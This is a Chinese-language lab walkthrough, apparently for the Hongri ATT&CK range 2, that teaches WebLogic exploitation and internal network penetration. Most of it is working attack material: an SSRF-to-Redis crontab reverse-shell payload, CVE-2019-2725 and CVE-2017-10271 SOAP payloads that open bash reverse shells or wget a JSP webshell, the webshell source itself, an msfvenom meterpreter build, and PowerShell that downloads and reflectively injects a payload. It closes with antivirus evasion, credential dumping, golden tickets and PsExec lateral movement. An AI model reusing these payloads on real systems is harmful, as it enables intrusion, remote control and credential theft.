红日安全团队ATT&CK(二)实战系列靶场
字数 1737 2025-08-26 22:11:28

WebLogic漏洞利用与内网渗透实战手册

环境搭建

基础环境配置

  1. 系统登录

    • 使用凭证:de1ay/1qaz@WSX登录Web主机
    • 管理员凭证:Administrator/1qaz@WSX
  2. 服务启动

    • 路径:计算机右键->管理->配置->服务
    • 需启动服务:ServerWorkstationComputer Browser
    • 注意:Computer Browser可能自动关闭导致net view显示6118错误,可临时关闭防火墙
  3. WebLogic目录

    C:\Oracle\Middleware\user_projects\domains\base_domain\bin
    

网络扫描

  • 扫描整个网段:
    nmap -sP 192.168.111.2/24
    
  • 详细扫描目标主机:
    nmap -sS -sV -A -T4 -p- 192.168.111.80
    

关键端口分析

  • 445:可能存在SMB服务/MS17-010漏洞
  • 139:可能存在Samba服务/远程命令执行漏洞
  • 1433:可能存在MSSQL服务/爆破/SA弱口令
  • 3389:远程桌面服务
  • 7001:WebLogic服务

WebLogic SSRF漏洞利用

环境准备

cd vulhub/weblogic/ssrf/
docker-compose up -d
docker ps  # 确认WebLogic和Redis服务运行

漏洞探测

  1. 修改operator参数测试端口状态:

    • 端口开放:返回404
    • 端口关闭:显示服务连接不上
  2. 探测内网Redis服务(通常位于172.*网段):

    • 发现目标:172.18.0.2:6379

Redis利用(定时任务反弹Shell)

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.111.128/7777 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

URL编码后的Payload:

http://172.18.0.2:6379/ww%0A%0D%0A%0Dset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.128%2F7777%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0A%0Dconfig%20set%20dir%20%2Fetc%2F%0A%0Dconfig%20set%20dbfilename%20crontab%0A%0Dsave

WebLogic调试分析

调试环境配置

  1. 修改docker-compose.yml增加8888端口映射
  2. 重启容器:
    docker stop `docker ps -q`
    docker-compose up -d
    
  3. 配置调试参数:
    vi setDomainEnv.sh
    debugFlag="true"
    export debugFlag
    DEBUG_PORT=8888
    
  4. 获取WebLogic源码:
    docker cp 5891c1ca1078:/root ./weblogic_jars
    mkdir weblogic_jars/lib
    find ./weblogic_jars -name *.jar -exec cp {} ./weblogic_jars/lib/ \;
    

关键调试点

  1. 关注operator参数值的传递流程
  2. sendMessage函数开始分析:
    • 使用BindFactory创建工厂类
    • 创建BindingInfo对象(默认transport为http11)
    • 最终创建Http11ClientBinding对象
  3. 漏洞点:Http11ClientBinding直接向URL发起连接,无校验导致CRLF注入

CVE-2019-2725漏洞利用

环境搭建

  1. 下载JDK 7u80和WebLogic 10.3.6
  2. 配置Java环境:
    export JAVA_HOME=/usr/lib/jvm/jdk1.7.0_80
    export JRE_HOME=${JAVA_HOME}/jre
    export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
    export PATH=${JAVA_HOME}/bin:$PATH
    

漏洞检测

  1. 检测URL:

    http://192.168.111.129:7001/_async/AsyncResponseService
    
    • 返回200:漏洞存在
    • 返回404:漏洞不存在
  2. 备用检测URL:

    http://192.168.111.129:7001/_async/
    
    • 返回403:漏洞存在
    • 返回404:漏洞不存在

WebShell写入

JSP WebShell代码:

<%! 
class U extends ClassLoader {
    U(ClassLoader c) { super(c); }
    public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }
}
public byte[] base64Decode(String str) throws Exception {
    try {
        Class clazz = Class.forName("sun.misc.BASE64Decoder");
        return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
    } catch (Exception e) {
        Class clazz = Class.forName("java.util.Base64");
        Object getDecoder = clazz.getMethod("getDecoder").invoke(null);
        return (byte[]) getDecoder.getClass().getMethod("decode", String.class).invoke(getDecoder, str);
    }
}
%>
<%
String cls = request.getParameter("wanan");
if (cls != null) {
    new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

利用SOAP请求写入WebShell:

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.129:7001
Content-Type: text/xml
SOAPAction:
Content-Length: 851

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <void class="java.lang.ProcessBuilder">
                <array class="java.lang.String" length="3">
                    <void index="0"><string>/bin/bash</string></void>
                    <void index="1"><string>-c</string></void>
                    <void index="2"><string>wget http://192.168.111.1/wanan.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/wan.jsp</string></void>
                </array>
                <void method="start"/>
            </void>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
        <asy:onAsyncDelivery/>
    </soapenv:Body>
</soapenv:Envelope>

反弹Shell

bash -i >& /dev/tcp/192.168.111.128/7777 0>&1

CVE-2017-10271漏洞利用

漏洞检测

访问以下URL检测漏洞:

http://192.168.111.129:7001/wls-wsat/CoordinatorPortType

其他可能路径:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

利用Payload

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.111.129:7001
Content-Type: text/xml
Content-Length: 641

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0"><string>/bin/bash</string></void>
                        <void index="1"><string>-c</string></void>
                        <void index="2"><string>bash -i >& /dev/tcp/192.168.111.128/7777 0>&1</string></void>
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

漏洞原理

  • 漏洞位于WebLogic Server WLS组件
  • wls-wsat.war触发
  • 通过构造SOAP(XML)格式请求,在解析过程中导致XMLDecoder反序列化漏洞
  • 关键调用链:
    processRequestreadHeaderOldWorkContextXmlInputAdapterWorkContextLocalMap#receiveRequestreadUTFxmlDecoder.readObject

内网渗透

横向移动准备

  1. 生成木马:
    msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe LHOST=192.168.111.80 LPORT=4444 -o ./shell.exe
    
  2. Base64编码:
    cat shell.exe | base64 > base64.txt
    

PowerShell反射加载

  1. 下载PowerSploit:
    git clone https://github.com/PowerShellMafia/PowerSploit.git
    
  2. 执行脚本wan.ps1
    iex(New-Object Net.WebClient).DownloadString("http://192.168.111.128:8000/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1");
    $b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.111.128:8000/base64.txt");
    $PEBytes = [System.Convert]::FromBase64String($b64Str);
    Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
    
  3. 执行命令:
    powershell -ExecutionPolicy Bypass -File C:/Windows/wan.ps1
    

绕过杀软

  1. 检查360进程:
    ps | grep 360
    
  2. 进程迁移:
    migrate 632  # 迁移到svchost.exe
    

权限维持(黄金票据)

必要条件

  1. 域名
  2. 域的SID值
  3. 域的krbtgt账户NTLM密码哈希
  4. 伪造用户名

操作步骤

  1. 获取KRBTGT账户哈希:
    hashdump
    sekurlsa::logonpasswords
    
  2. 伪造黄金票据:
    • 当域控权限丢失后,可通过域内任意机器伪造票据重新获取权限

域信息收集

shell ipconfig/all  # 查看双网卡配置
shell net view  # 查看网络共享
shell net user /domain  # 查看域用户
shell net group "domain controllers" /domain  # 查看域控制器
shell net group "domain computers" /domain  # 查看域成员计算机

横向移动(PsExec)

  • 基于IPC共享(需445端口开放)
  • 使用方式:
    psexec \\目标IP -u 用户名 -p 密码 cmd.exe
    

总结

本手册详细记录了WebLogic多个高危漏洞的利用方法,包括:

  1. SSRF漏洞利用Redis实现RCE
  2. CVE-2019-2725反序列化漏洞
  3. CVE-2017-10271 XMLDecoder反序列化漏洞

同时涵盖了内网渗透的关键技术:

  • 权限维持(黄金票据)
  • 横向移动(PsExec)
  • 杀软绕过
  • 域信息收集

这些技术在实际渗透测试中具有极高的实用价值,但请务必在合法授权范围内使用。

WebLogic漏洞利用与内网渗透实战手册 环境搭建 基础环境配置 系统登录 : 使用凭证: de1ay / 1qaz@WSX 登录Web主机 管理员凭证: Administrator / 1qaz@WSX 服务启动 : 路径: 计算机右键->管理->配置->服务 需启动服务: Server 、 Workstation 、 Computer Browser 注意: Computer Browser 可能自动关闭导致 net view 显示6118错误,可临时关闭防火墙 WebLogic目录 : 网络扫描 扫描整个网段: 详细扫描目标主机: 关键端口分析 : 445:可能存在SMB服务/MS17-010漏洞 139:可能存在Samba服务/远程命令执行漏洞 1433:可能存在MSSQL服务/爆破/SA弱口令 3389:远程桌面服务 7001:WebLogic服务 WebLogic SSRF漏洞利用 环境准备 漏洞探测 修改 operator 参数测试端口状态: 端口开放:返回404 端口关闭:显示服务连接不上 探测内网Redis服务(通常位于172.* 网段): 发现目标: 172.18.0.2:6379 Redis利用(定时任务反弹Shell) URL编码后的Payload: WebLogic调试分析 调试环境配置 修改 docker-compose.yml 增加8888端口映射 重启容器: 配置调试参数: 获取WebLogic源码: 关键调试点 关注 operator 参数值的传递流程 从 sendMessage 函数开始分析: 使用 BindFactory 创建工厂类 创建 BindingInfo 对象(默认transport为http11) 最终创建 Http11ClientBinding 对象 漏洞点: Http11ClientBinding 直接向URL发起连接,无校验导致CRLF注入 CVE-2019-2725漏洞利用 环境搭建 下载JDK 7u80和WebLogic 10.3.6 配置Java环境: 漏洞检测 检测URL: 返回200:漏洞存在 返回404:漏洞不存在 备用检测URL: 返回403:漏洞存在 返回404:漏洞不存在 WebShell写入 JSP WebShell代码: 利用SOAP请求写入WebShell: 反弹Shell CVE-2017-10271漏洞利用 漏洞检测 访问以下URL检测漏洞: 其他可能路径: 利用Payload 漏洞原理 漏洞位于WebLogic Server WLS组件 由 wls-wsat.war 触发 通过构造SOAP(XML)格式请求,在解析过程中导致XMLDecoder反序列化漏洞 关键调用链: processRequest → readHeaderOld → WorkContextXmlInputAdapter → WorkContextLocalMap#receiveRequest → readUTF → xmlDecoder.readObject 内网渗透 横向移动准备 生成木马: Base64编码: PowerShell反射加载 下载PowerSploit: 执行脚本 wan.ps1 : 执行命令: 绕过杀软 检查360进程: 进程迁移: 权限维持(黄金票据) 必要条件 : 域名 域的SID值 域的krbtgt账户NTLM密码哈希 伪造用户名 操作步骤 : 获取KRBTGT账户哈希: 伪造黄金票据: 当域控权限丢失后,可通过域内任意机器伪造票据重新获取权限 域信息收集 横向移动(PsExec) 基于IPC共享(需445端口开放) 使用方式: 总结 本手册详细记录了WebLogic多个高危漏洞的利用方法,包括: SSRF漏洞利用Redis实现RCE CVE-2019-2725反序列化漏洞 CVE-2017-10271 XMLDecoder反序列化漏洞 同时涵盖了内网渗透的关键技术: 权限维持(黄金票据) 横向移动(PsExec) 杀软绕过 域信息收集 这些技术在实际渗透测试中具有极高的实用价值,但请务必在合法授权范围内使用。